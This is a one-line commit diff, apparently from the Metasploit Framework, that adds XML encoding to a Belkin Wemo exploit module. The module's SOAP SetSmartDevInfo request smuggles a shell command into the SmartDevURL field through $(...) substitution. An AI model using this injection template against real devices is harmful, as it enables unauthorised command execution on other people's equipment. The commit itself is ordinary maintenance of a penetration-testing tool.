Land #11685, proper XML encoding for Wemo exploit
parent
a14e92987a
commit
ba4f129b6c
|
@ -160,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||||
<s:Body>
|
<s:Body>
|
||||||
<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
|
<u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1">
|
||||||
<SmartDevURL>$(#{cmd})</SmartDevURL>
|
<SmartDevURL>$(#{cmd.encode(xml: :text)})</SmartDevURL>
|
||||||
</u:SetSmartDevInfo>
|
</u:SetSmartDevInfo>
|
||||||
</s:Body>
|
</s:Body>
|
||||||
</s:Envelope>
|
</s:Envelope>
|
||||||
|
|
Loading…
Reference in New Issue